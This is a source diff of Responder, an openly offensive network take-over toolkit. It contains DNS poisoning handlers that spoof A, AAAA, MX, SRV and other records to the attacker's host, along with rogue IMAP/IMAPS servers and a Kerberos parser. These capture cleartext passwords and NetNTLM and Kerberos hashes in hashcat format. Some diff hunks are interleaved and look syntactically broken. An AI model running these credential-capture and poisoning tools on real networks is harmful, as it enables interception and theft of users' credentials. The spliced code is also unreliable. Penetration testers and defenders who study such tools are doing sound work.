response += struct.pack('>I', 60) # 60 seconds
# Get target IP
target_ip = self.get_target_ip(query_type)
if query_type == 1: # A record
# RDLENGTH
response += struct.pack('>H', 4)
# RDATA (IPv4 address)
response += socket.inet_aton(target_ip)
elif query_type == 28: # AAAA record
# RDLENGTH
response += struct.pack('>H', 16)
# RDATA (IPv6 address)
ipv6 = self.get_ipv6_address()
response += socket.inet_pton(socket.AF_INET6, ipv6)
elif query_type == 6: # SOA record (Start of Authority)
# Build SOA record to appear authoritative
# SOA format: MNAME RNAME SERIAL REFRESH RETRY EXPIRE MINIMUM
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception:
# MNAME (primary nameserver) - pointer to query name
soa_data = b'\xc0\x0c'
# RNAME (responsible party) - admin@<domain>
# Format: admin.<domain> (@ becomes .)
soa_data += b'\x05admin\xc0\x0c' # admin + pointer to query name
# SERIAL (zone serial number)
import time
serial = int(time.time()) % 2147483647 # Use timestamp as serial
soa_data += struct.pack('>I', serial)
# REFRESH (32-bit seconds) - how often secondary checks for updates
soa_data += struct.pack('>I', 120) # 2 minutes
# RETRY (32-bit seconds) - retry interval if refresh fails
soa_data += struct.pack('>I', 60) # 1 minute
# EXPIRE (32-bit seconds) - when zone data becomes invalid
soa_data += struct.pack('>I', 300) # 5 minutes
# MINIMUM (32-bit seconds) - minimum TTL for negative caching
soa_data += struct.pack('>I', 60) # 60 seconds
response += struct.pack('>H', len(soa_data))
response += soa_data
if settings.Config.Verbose:
print(color('[DNS] SOA record poisoned - appearing as authoritative', 3, 1))
elif query_type == 15: # MX record (mail server)
# Build MX record pointing to our server
# This captures SMTP auth attempts
mx_data = struct.pack('>H', 10) # Priority 10
mx_data += b'\xc0\x0c' # Pointer to query name (our server)
response += struct.pack('>H', len(mx_data))
response += mx_data
if settings.Config.Verbose:
print(color('[DNS] MX record poisoned - potential email auth capture', 3, 1))
elif query_type == 16: # TXT record
# Return a benign TXT record
txt_data = b'v=spf1 a mx ~all' # SPF record
response += struct.pack('>H', len(txt_data) + 1)
response += struct.pack('B', len(txt_data))
response += txt_data
elif query_type == 33: # SRV record (service discovery)
# SRV format: priority, weight, port, target
# Useful for capturing Kerberos, LDAP, etc.
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
srv_data += b'\xc0\x0c' # Target (pointer to query name)
response += struct.pack('>H', len(srv_data))
response += srv_data
if settings.Config.Verbose:
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
elif query_type == 255: # ANY query
# Respond with A record
response += struct.pack('>H', 4)
response += socket.inet_aton(target_ip)
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
# Service Binding records - respond with alias to same domain
# This tells clients to use A/AAAA records for the service
# SVCB format: priority, target, params
# Priority 0 = AliasMode (just use A/AAAA of target)
svcb_data = struct.pack('>H', 0) # Priority 0 (alias)
# Target: pointer to query name (use our domain)
svcb_data += b'\xc0\x0c' # Pointer to query name
response += struct.pack('>H', len(svcb_data))
response += svcb_data
if settings.Config.Verbose:
record_type = 'HTTPS' if query_type == 65 else 'SVCB'
print(color('[DNS] %s record poisoned - alias mode' % record_type, 3, 1))
# Add OPT record to additional section if client sent one
if opt_record:
response += self.build_opt_record(opt_record)
return response
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error building response: %s' % str(e)))
return None
def build_opt_record(self, client_opt):
"""
Build OPT pseudo-RR for EDNS0 response
This indicates our server supports EDNS0 extensions
"""
try:
opt_rr = b''
# NAME: root domain (empty)
opt_rr += b'\x00'
# TYPE: OPT (41)
opt_rr += struct.pack('>H', 41)
# CLASS: UDP payload size we support (typically 4096 or 512)
# Match client's size or use reasonable default
udp_size = min(client_opt['udp_size'], 4096) if client_opt['udp_size'] > 512 else 4096
opt_rr += struct.pack('>H', udp_size)
# TTL: Extended RCODE and flags
# Byte 0: Extended RCODE (0 = no error)
# Byte 1: EDNS version (0)
# Bytes 2-3: Flags (we don't set DNSSEC OK in response)
extended_rcode = 0
edns_version = 0
flags = 0 # No flags set (we don't support DNSSEC)
opt_rr += struct.pack('B', extended_rcode)
opt_rr += struct.pack('B', edns_version)
opt_rr += struct.pack('>H', flags)
# RDLENGTH: 0 (no additional options)
opt_rr += struct.pack('>H', 0)
# RDATA: empty (no options)
if settings.Config.Verbose:
print(color('[DNS] Added OPT record to response (EDNS0)', 4, 1))
return opt_rr
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS] Error building OPT record: %s' % str(e)))
return b''
def get_target_ip(self, query_type):
"""Get the target IP address for spoofed responses"""
# Use Responder's configured IP
if query_type == 28: # AAAA
return self.get_ipv6_address()
else: # A record
return settings.Config.Bind_To
def get_ipv6_address(self):
"""Get IPv6 address for AAAA responses"""
# Priority 1: Use explicitly configured IPv6
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
return settings.Config.Bind_To_IPv6
# Priority 2: Try to detect actual IPv6 on interface
try:
import netifaces
ipv4 = settings.Config.Bind_To
# Find which interface has this IPv4
for iface in netifaces.interfaces():
try:
addrs = netifaces.ifaddresses(iface)
# Check if this interface has our IPv4
if netifaces.AF_INET in addrs:
for addr in addrs[netifaces.AF_INET]:
if addr.get('addr') == ipv4:
# Found the interface, get its global IPv6
if netifaces.AF_INET6 in addrs:
for ipv6_addr in addrs[netifaces.AF_INET6]:
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
# Return first global IPv6 (not link-local fe80::)
if ipv6 and not ipv6.startswith('fe80:'):
return ipv6
except:
continue
except ImportError:
pass
except:
pass
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
# This allows dual-stack clients to connect via IPv4
try:
ipv4 = settings.Config.Bind_To
return '::ffff:%s' % ipv4
except:
pass
# Last resort: return IPv6 loopback
return '::1'
def get_type_name(self, query_type):
"""Convert query type number to name"""
types = {
1: 'A',
2: 'NS',
5: 'CNAME',
6: 'SOA',
12: 'PTR',
15: 'MX',
16: 'TXT',
28: 'AAAA',
33: 'SRV',
41: 'OPT',
64: 'SVCB',
65: 'HTTPS',
255: 'ANY'
}
return types.get(query_type, 'TYPE%d' % query_type)
class DNSTCP(BaseRequestHandler):
"""
DNS over TCP server
Handles TCP-based DNS queries (zone transfers, large responses)
"""
def handle(self):
try:
# TCP DNS messages are prefixed with 2-byte length
length_data = self.request.recv(2)
if len(length_data) < 2:
return
msg_length = struct.unpack('>H', length_data)[0]
# Receive the DNS message
data = b''
while len(data) < msg_length:
chunk = self.request.recv(msg_length - len(data))
if not chunk:
return
data += chunk
if len(data) < 12:
return
# Parse DNS header
transaction_id = data[0:2]
flags = struct.unpack('>H', data[2:4])[0]
questions = struct.unpack('>H', data[4:6])[0]
answer_rrs = struct.unpack('>H', data[6:8])[0]
authority_rrs = struct.unpack('>H', data[8:10])[0]
additional_rrs = struct.unpack('>H', data[10:12])[0]
# Check if it's a query
if flags & 0x8000:
return
# Create DNS instance to reuse parsing logic
dns_handler = DNS.__new__(DNS)
dns_handler.client_address = self.client_address
# Parse question
query_name, query_type, query_class, offset = dns_handler.parse_question(data, 12)
if not query_name:
return
# Check for OPT record
opt_record = None
if additional_rrs > 0:
opt_record = dns_handler.parse_opt_record(data, offset)
# Log the query
if settings.Config.Verbose:
query_type_name = dns_handler.get_type_name(query_type)
opt_info = ''
if opt_record:
opt_info = ' [EDNS0: UDP=%d]' % opt_record['udp_size']
print(text('[DNS-TCP] Query from %s: %s (%s)%s' % (
self.client_address[0].replace('::ffff:', ''),
query_name,
query_type_name,
opt_info
)))
# Check if we should respond
if not dns_handler.should_respond(query_name, query_type):
return
# Build response
response = dns_handler.build_response(
transaction_id,
query_name,
query_type,
query_class,
data,
opt_record
)
if response:
# Prefix with length for TCP
tcp_response = struct.pack('>H', len(response)) + response
self.request.sendall(tcp_response)
target_ip = dns_handler.get_target_ip(query_type)
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
query_name, target_ip), 2, 1))
except Exception as e:
if settings.Config.Verbose:
print(text('[DNS-TCP] Error: %s' % str(e)))

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# email: lgaffie@secorizon.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
@@ -15,34 +15,609 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
import base64
import re
import struct
import os
import ssl
from utils import *
if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
class IMAP(BaseRequestHandler):
def __init__(self, *args, **kwargs):
self.tls_enabled = False
BaseRequestHandler.__init__(self, *args, **kwargs)
def upgrade_to_tls(self):
"""Upgrade connection to TLS using Responder's SSL certificates"""
try:
# Get SSL certificate paths from Responder config
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if not os.path.exists(cert_path) or not os.path.exists(key_path):
if settings.Config.Verbose:
print(text('[IMAP] SSL certificates not found'))
return False
# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert_path, key_path)
# Wrap socket
self.request = context.wrap_socket(self.request, server_side=True)
self.tls_enabled = True
if settings.Config.Verbose:
print(text('[IMAP] Successfully upgraded to TLS from %s' %
self.client_address[0].replace("::ffff:", "")))
return True
except Exception as e:
if settings.Config.Verbose:
print(text('[IMAP] TLS upgrade failed: %s' % str(e)))
return False
def send_capability(self, tag="*"):
"""Send CAPABILITY response with STARTTLS if not already in TLS"""
if self.tls_enabled:
# After STARTTLS, don't advertise it again
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
else:
# Before STARTTLS, advertise it
capability = "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN AUTH=LOGIN AUTH=NTLM STARTTLS\r\n"
self.request.send(NetworkSendBufferPython2or3(capability))
if tag != "*":
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=tag)))
def handle(self):
try:
# Send greeting
self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
data = self.request.recv(1024)
if data[5:15] == b'CAPABILITY':
RequestTag = data[0:4]
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
# Main loop to handle multiple commands
while True:
data = self.request.recv(1024)
if data[5:10] == b'LOGIN':
Credentials = data[10:].strip().decode("latin-1").split('"')
if not data:
break
# Handle CAPABILITY command
if b'CAPABILITY' in data.upper():
RequestTag = self.extract_tag(data)
self.send_capability(RequestTag)
continue
# Handle STARTTLS command
if b'STARTTLS' in data.upper():
RequestTag = self.extract_tag(data)
if self.tls_enabled:
# Already in TLS
response = "%s BAD STARTTLS already in TLS\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
continue
# Send OK response before upgrading
response = "%s OK Begin TLS negotiation now\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
# Upgrade to TLS
if not self.upgrade_to_tls():
# TLS upgrade failed, close connection
break
# Continue handling commands over TLS
continue
# Handle LOGIN command
if b'LOGIN' in data.upper():
success = self.handle_login(data)
if success:
break
continue
# Handle AUTHENTICATE PLAIN
if b'AUTHENTICATE PLAIN' in data.upper():
success = self.handle_authenticate_plain(data)
if success:
break
continue
# Handle AUTHENTICATE LOGIN
if b'AUTHENTICATE LOGIN' in data.upper():
success = self.handle_authenticate_login(data)
if success:
break
continue
# Handle AUTHENTICATE NTLM
if b'AUTHENTICATE NTLM' in data.upper():
success = self.handle_authenticate_ntlm(data)
if success:
break
continue
# Handle LOGOUT
if b'LOGOUT' in data.upper():
RequestTag = self.extract_tag(data)
response = "* BYE IMAP4 server logging out\r\n"
response += "%s OK LOGOUT completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
break
# Unknown command - send error
RequestTag = self.extract_tag(data)
response = "%s BAD Command not recognized\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
except Exception as e:
if settings.Config.Verbose:
print(text('[IMAP] Exception: %s' % str(e)))
pass
def extract_tag(self, data):
"""Extract IMAP command tag (e.g., 'A001' from 'A001 LOGIN ...')"""
try:
parts = data.decode('latin-1', errors='ignore').split()
if parts:
return parts[0]
except:
pass
return "A001"
def handle_login(self, data):
"""
Handle LOGIN command
Format: TAG LOGIN username password
Credentials can be quoted or unquoted
"""
try:
RequestTag = self.extract_tag(data)
# Decode the data
data_str = data.decode('latin-1', errors='ignore').strip()
# Remove tag and LOGIN command
# Pattern: TAG LOGIN credentials
login_match = re.search(r'LOGIN\s+(.+)', data_str, re.IGNORECASE)
if not login_match:
response = "%s BAD LOGIN command syntax error\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
credentials_part = login_match.group(1).strip()
# Parse credentials - can be quoted or unquoted
username, password = self.parse_credentials(credentials_part)
if username and password:
# Save credentials
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Credentials[1],
'cleartext': Credentials[3],
'fullhash': Credentials[1]+":"+Credentials[3],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] LOGIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
# Send success but then close
response = "%s OK LOGIN completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
# Invalid credentials format
response = "%s BAD LOGIN credentials format error\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def parse_credentials(self, creds_str):
"""
Parse username and password from LOGIN command
Supports: "user" "pass", user pass, {5}user {8}password (literal strings)
"""
try:
# Method 1: Quoted strings "user" "pass"
quoted_match = re.findall(r'"([^"]*)"', creds_str)
if len(quoted_match) >= 2:
return quoted_match[0], quoted_match[1]
# Method 2: Space-separated (unquoted)
parts = creds_str.split()
if len(parts) >= 2:
# Remove any curly brace literals {5}
user = re.sub(r'^\{\d+\}', '', parts[0])
passwd = re.sub(r'^\{\d+\}', '', parts[1])
return user, passwd
return None, None
except:
return None, None
def handle_authenticate_plain(self, data):
"""Handle AUTHENTICATE PLAIN command - can be single-line or multi-line"""
try:
RequestTag = self.extract_tag(data)
data_str = data.decode('latin-1', errors='ignore').strip()
plain_match = re.search(r'AUTHENTICATE\s+PLAIN\s+(.+)', data_str, re.IGNORECASE)
if plain_match:
b64_creds = plain_match.group(1).strip()
else:
response = "+\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
cred_data = self.request.recv(1024)
if not cred_data:
return False
b64_creds = cred_data.decode('latin-1', errors='ignore').strip()
try:
decoded = base64.b64decode(b64_creds).decode('latin-1', errors='ignore')
parts = decoded.split('\x00')
if len(parts) >= 3:
username = parts[1]
password = parts[2]
elif len(parts) >= 2:
username = parts[0]
password = parts[1]
else:
raise ValueError("Invalid PLAIN format")
if username and password:
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] AUTHENTICATE PLAIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
except Exception as e:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def handle_authenticate_login(self, data):
"""Handle AUTHENTICATE LOGIN command - prompts for username, then password"""
try:
RequestTag = self.extract_tag(data)
response = "+ " + base64.b64encode(b"Username:").decode('latin-1') + "\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
user_data = self.request.recv(1024)
if not user_data:
return False
username_b64 = user_data.decode('latin-1', errors='ignore').strip()
username = base64.b64decode(username_b64).decode('latin-1', errors='ignore')
response = "+ " + base64.b64encode(b"Password:").decode('latin-1') + "\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
pass_data = self.request.recv(1024)
if not pass_data:
return False
password_b64 = pass_data.decode('latin-1', errors='ignore').strip()
password = base64.b64decode(password_b64).decode('latin-1', errors='ignore')
if username and password:
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': username,
'cleartext': password,
'fullhash': username + ":" + password,
})
if settings.Config.Verbose:
print(text('[IMAP] AUTHENTICATE LOGIN captured: %s:%s from %s' % (
username, password, self.client_address[0])))
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def handle_authenticate_ntlm(self, data):
"""Handle AUTHENTICATE NTLM command - implements challenge-response"""
try:
RequestTag = self.extract_tag(data)
response = "+\r\n"
self.request.send(NetworkSendBufferPython2or3(response))
type1_data = self.request.recv(2048)
if not type1_data:
return False
type1_b64 = type1_data.decode('latin-1', errors='ignore').strip()
try:
type1_msg = base64.b64decode(type1_b64)
except:
return False
type2_msg = self.generate_ntlm_type2()
type2_b64 = base64.b64encode(type2_msg).decode('latin-1')
response = "+ %s\r\n" % type2_b64
self.request.send(NetworkSendBufferPython2or3(response))
type3_data = self.request.recv(4096)
if not type3_data:
return False
type3_b64 = type3_data.decode('latin-1', errors='ignore').strip()
if type3_b64 == '*' or type3_b64 == '':
if settings.Config.Verbose:
print(text('[IMAP] Client cancelled NTLM authentication'))
response = "%s NO AUTHENTICATE cancelled\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
if not all(c in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\r\n' for c in type3_b64):
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
try:
type3_msg = base64.b64decode(type3_b64)
except Exception as e:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
ntlm_hash = self.parse_ntlm_type3(type3_msg, type2_msg)
if ntlm_hash:
if settings.Config.Verbose:
print(text('[IMAP] NTLM hash captured: %s from %s' % (
ntlm_hash['user'], self.client_address[0])))
SaveToDb(ntlm_hash)
response = "%s OK AUTHENTICATE completed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return True
else:
response = "%s NO AUTHENTICATE failed\r\n" % RequestTag
self.request.send(NetworkSendBufferPython2or3(response))
return False
except Exception as e:
return False
def generate_ntlm_type2(self):
"""Generate NTLM Type 2 (Challenge) message with target info for NTLMv2"""
import time
challenge = os.urandom(8)
self.ntlm_challenge = challenge
target_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
target_name_len = len(target_name)
target_info = b''
domain_name = b'W\x00O\x00R\x00K\x00G\x00R\x00O\x00U\x00P\x00'
target_info += struct.pack('<HH', 0x0002, len(domain_name))
target_info += domain_name
computer_name = b'S\x00E\x00R\x00V\x00E\x00R\x00'
target_info += struct.pack('<HH', 0x0001, len(computer_name))
target_info += computer_name
dns_domain = b'w\x00o\x00r\x00k\x00g\x00r\x00o\x00u\x00p\x00'
target_info += struct.pack('<HH', 0x0004, len(dns_domain))
target_info += dns_domain
dns_computer = b's\x00e\x00r\x00v\x00e\x00r\x00'
target_info += struct.pack('<HH', 0x0003, len(dns_computer))
target_info += dns_computer
timestamp = int((time.time() + 11644473600) * 10000000)
target_info += struct.pack('<HH', 0x0007, 8)
target_info += struct.pack('<Q', timestamp)
target_info += struct.pack('<HH', 0x0000, 0)
target_info_len = len(target_info)
target_name_offset = 48
target_info_offset = target_name_offset + target_name_len
signature = b'NTLMSSP\x00'
msg_type = struct.pack('<I', 2)
target_name_fields = struct.pack('<HHI', target_name_len, target_name_len, target_name_offset)
flags = b'\x05\x02\x81\xa2'
context = b'\x00' * 8
target_info_fields = struct.pack('<HHI', target_info_len, target_info_len, target_info_offset)
type2_msg = (signature + msg_type + target_name_fields + flags +
challenge + context + target_info_fields + target_name + target_info)
return type2_msg
def parse_ntlm_type3(self, type3_msg, type2_msg):
"""Parse NTLM Type 3 (Authenticate) message and extract NetNTLMv2 hash"""
try:
from binascii import hexlify
if type3_msg[:8] != b'NTLMSSP\x00':
return None
msg_type = struct.unpack('<I', type3_msg[8:12])[0]
if msg_type != 3:
return None
lm_len, lm_maxlen, lm_offset = struct.unpack('<HHI', type3_msg[12:20])
ntlm_len, ntlm_maxlen, ntlm_offset = struct.unpack('<HHI', type3_msg[20:28])
domain_len, domain_maxlen, domain_offset = struct.unpack('<HHI', type3_msg[28:36])
user_len, user_maxlen, user_offset = struct.unpack('<HHI', type3_msg[36:44])
ws_len, ws_maxlen, ws_offset = struct.unpack('<HHI', type3_msg[44:52])
if user_offset + user_len <= len(type3_msg):
user = type3_msg[user_offset:user_offset+user_len].decode('utf-16le', errors='ignore')
else:
user = "unknown"
if domain_offset + domain_len <= len(type3_msg):
domain = type3_msg[domain_offset:domain_offset+domain_len].decode('utf-16le', errors='ignore')
else:
domain = ""
if ntlm_offset + ntlm_len <= len(type3_msg):
ntlm_response = type3_msg[ntlm_offset:ntlm_offset+ntlm_len]
else:
return None
if len(ntlm_response) > 24:
ntlmv2_response = ntlm_response[:16]
ntlmv2_blob = ntlm_response[16:]
challenge = type2_msg[24:32]
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
hexlify(challenge).decode(),
hexlify(ntlmv2_response).decode(),
hexlify(ntlmv2_blob).decode()
)
if settings.Config.Verbose:
print(text('[IMAP] NetNTLMv2 hash format (hashcat -m 5600)'))
return {
'module': 'IMAP',
'type': 'NetNTLMv2',
'client': self.client_address[0],
'user': user,
'domain': domain,
'hash': hash_str,
'fullhash': hash_str
}
else:
ntlm_hash = ntlm_response[:24]
challenge = type2_msg[24:32]
if lm_offset + lm_len <= len(type3_msg) and lm_len == 24:
lm_hash = type3_msg[lm_offset:lm_offset+lm_len]
else:
lm_hash = b'\x00' * 24
hash_str = "%s::%s:%s:%s:%s" % (
user,
domain,
hexlify(lm_hash).decode(),
hexlify(ntlm_hash).decode(),
hexlify(challenge).decode()
)
if settings.Config.Verbose:
print(text('[IMAP] NetNTLMv1 hash format (hashcat -m 5500)'))
return {
'module': 'IMAP',
'type': 'NetNTLMv1',
'client': self.client_address[0],
'user': user,
'domain': domain,
'hash': hash_str,
'fullhash': hash_str
}
except Exception as e:
return None
except Exception:
pass
class IMAPS(IMAP):
"""IMAP over SSL (port 993) - SSL wrapper that inherits from IMAP"""
def setup(self):
"""Setup SSL socket before handling - called automatically by SocketServer"""
try:
# Get SSL certificate paths from Responder config
cert_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key_path = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
if not os.path.exists(cert_path) or not os.path.exists(key_path):
if settings.Config.Verbose:
print(text('[IMAPS] SSL certificates not found'))
self.request.close()
return
# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert_path, key_path)
# Wrap socket in SSL before IMAP handles it
self.request = context.wrap_socket(self.request, server_side=True)
# Mark as already in TLS so STARTTLS isn't advertised
self.tls_enabled = True
if settings.Config.Verbose:
print(text('[IMAPS] SSL connection from %s' %
self.client_address[0].replace("::ffff:", "")))
except ssl.SSLError as e:
# Client rejected self-signed cert - suppress expected errors
if 'ALERT_BAD_CERTIFICATE' not in str(e) and settings.Config.Verbose:
print(text('[IMAPS] SSL handshake failed: %s' % str(e)))
try:
self.request.close()
except:
pass
except Exception as e:
if 'Bad file descriptor' not in str(e) and settings.Config.Verbose:
print(text('[IMAPS] SSL setup error: %s' % str(e)))
try:
self.request.close()
except:
pass
# handle() method is inherited from IMAP class - no need to override!

View File

@@ -16,134 +16,722 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import codecs
import struct
import time
from utils import *
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
# Kerberos encryption types
ENCRYPTION_TYPES = {
b'\x01': 'des-cbc-crc',
b'\x03': 'des-cbc-md5',
b'\x11': 'aes128-cts-hmac-sha1-96',
b'\x12': 'aes256-cts-hmac-sha1-96',
b'\x13': 'rc4-hmac',
b'\x14': 'rc4-hmac-exp',
b'\x17': 'rc4-hmac',
b'\x18': 'rc4-hmac-exp',
}
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
def parse_asn1_length(data, offset):
"""Parse ASN.1 length field (short or long form)"""
if offset >= len(data):
return 0, 0
first_byte = data[offset]
# Short form (length < 128)
if first_byte < 0x80:
return first_byte, 1
# Long form
num_octets = first_byte & 0x7F
if num_octets == 0 or offset + 1 + num_octets > len(data):
return 0, 0
length = 0
for i in range(num_octets):
length = (length << 8) | data[offset + 1 + i]
return length, 1 + num_octets
if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
def encode_asn1_length(length):
"""Encode length in ASN.1 format"""
if length < 128:
return struct.pack('B', length)
# Long form
length_bytes = []
temp = length
while temp > 0:
length_bytes.insert(0, temp & 0xFF)
temp >>= 8
num_octets = len(length_bytes)
result = struct.pack('B', 0x80 | num_octets)
for byte in length_bytes:
result += struct.pack('B', byte)
return result
if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
elif HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen].decode('latin-1')
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
return BuildHash
return False
def extract_principal_name(data):
"""Extract principal name from AS-REQ - searches in req-body only"""
try:
# Look for [4] req-body tag first to avoid PA-DATA
req_body_offset = None
for i in range(len(data) - 100):
if data[i:i+1] == b'\xa4': # [4] req-body
req_body_offset = i
break
if req_body_offset is None:
return "user"
# Search for [1] cname AFTER req-body starts
search_start = req_body_offset
search_end = min(search_start + 150, len(data) - 20)
for i in range(search_start, search_end):
# Look for GeneralString (0x1b) with reasonable length
if data[i:i+1] == b'\x1b':
